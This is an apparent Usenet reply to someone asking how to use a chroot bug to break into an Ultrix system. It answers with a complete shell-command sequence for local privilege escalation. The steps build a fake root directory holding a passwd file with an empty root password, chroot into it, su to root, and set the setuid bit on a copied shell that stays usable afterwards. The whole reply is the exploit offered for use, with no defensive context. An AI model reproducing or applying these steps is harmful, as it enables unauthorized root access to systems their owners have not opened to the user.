magni@ALPcom.it (Alessandro Magni) writes:
>How can  I  use the chroot bug to break in in a Ultrix system?

% cd $HOME
% mkdir root
% cd root
% mkdir bin etc usr
% cd bin
% cp /bin/sh sh
% cp /bin/su su
% cd ../etc
% cp /etc/passwd.orig passwd
% cp /etc/group group
% cp /bin/chmod chmod
% cp /bin/chown chown
% vi passwd (modify root password to root::0:0, etc...)
% cd ..
% chroot $HOME/root /bin/sh
% su
% chown root /bin/sh
% chmod 2755 /bin/sh
% chmod u+s /bin/sh
% exit
% exit
% $HOME/root/bin/sh